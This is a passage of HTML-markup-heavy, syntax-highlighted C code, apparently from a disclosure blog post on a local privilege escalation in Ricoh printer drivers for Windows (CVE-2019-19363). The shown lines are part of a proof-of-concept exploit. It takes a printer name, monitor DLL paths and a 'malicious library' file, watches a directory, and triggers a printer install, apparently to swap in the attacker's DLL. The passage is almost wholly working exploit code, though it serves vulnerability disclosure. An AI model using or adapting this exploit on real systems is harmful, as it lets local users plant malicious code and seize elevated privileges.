&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-122"&gt;&lt;code data-line-number="122"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-122" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-122"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Just loop and wait for the user to quit&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-123"&gt;&lt;code data-line-number="123"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-123" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-123"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;InstallPrinter&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-124"&gt;&lt;code data-line-number="124"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-124" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-124"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_getch&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;'q'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-125"&gt;&lt;code data-line-number="125"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-125" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-125"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-126"&gt;&lt;code data-line-number="126"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-126" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-126"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// The user has quit - clean up&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-127"&gt;&lt;code data-line-number="127"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-127" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-127"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;PostQueuedCompletionStatus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hCompPort&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-128"&gt;&lt;code data-line-number="128"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-128" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-128"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-129"&gt;&lt;code data-line-number="129"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-129" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-129"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Wait for the Directory thread to finish before exiting&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-130"&gt;&lt;code data-line-number="130"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-130" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-130"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;WaitForSingleObject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hThread&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;INFINITE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-131"&gt;&lt;code data-line-number="131"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-131" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-131"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;CloseHandle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hThread&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-132"&gt;&lt;code data-line-number="132"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-132" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-132"&gt;&lt;/a&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-133"&gt;&lt;code data-line-number="133"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-133" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-133"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-134"&gt;&lt;code data-line-number="134"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-134" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-134"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-135"&gt;&lt;code data-line-number="135"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-135" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-135"&gt;&lt;/a&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;wmain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;WCHAR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-136"&gt;&lt;code data-line-number="136"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-136" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-136"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;HANDLE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;hCompPort&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// Handle To a Completion Port&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-137"&gt;&lt;code data-line-number="137"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-137" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-137"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-138"&gt;&lt;code data-line-number="138"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-138" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-138"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-139"&gt;&lt;code data-line-number="139"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-139" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-139"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;PrinterName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-140"&gt;&lt;code data-line-number="140"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-140" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-140"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;TargetDllFullFilePath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-141"&gt;&lt;code data-line-number="141"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-141" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-141"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;TargetDLLRelFilePath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-142"&gt;&lt;code data-line-number="142"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-142" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-142"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;MaliciousLibraryFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-143"&gt;&lt;code data-line-number="143"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-143" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-143"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;change_counter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_wtoi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-144"&gt;&lt;code data-line-number="144"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-144" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-144"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-145"&gt;&lt;code data-line-number="145"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-145" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-145"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-146"&gt;&lt;code data-line-number="146"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-146" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-146"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;wprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;"+ Usage: %s &amp;lt;printer_name&amp;gt; &amp;lt;fullpath_monitor_dll&amp;gt; &amp;lt;rel_path_monitor_dll&amp;gt; &amp;lt;new_dll&amp;gt; &amp;lt;counter&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-147"&gt;&lt;code data-line-number="147"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-147" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-147"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-148"&gt;&lt;code data-line-number="148"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-148" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-148"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-149"&gt;&lt;code data-line-number="149"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-149" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-149"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;wprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="s"&gt;"+ Monitoring directory %s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BaseDirName&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-150"&gt;&lt;code data-line-number="150"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-150" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-150"&gt;&lt;/a&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-151"&gt;&lt;code data-line-number="151"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-151" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-151"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// Get a handle to the directory&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-152"&gt;&lt;code data-line-number="152"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-152" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-152"&gt;&lt;/a&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;DirInfo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hDir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CreateFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BaseDirName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="linenos linenodiv"&gt;&lt;a href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#rest_code_615209d7c43c4c0687ae4d9dd74993d3-153"&gt;&lt;code data-line-number="153"&gt;&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;&lt;td class="code"&gt;&lt;code&gt;&lt;a id="rest_code_615209d7c43c4c0687ae4d9dd74993d3-153" name="rest_code_615209d7c43c4c0687ae4d9dd74993d3-153"&gt;&lt;/a&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;FILE_LIST_DIRECTORY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
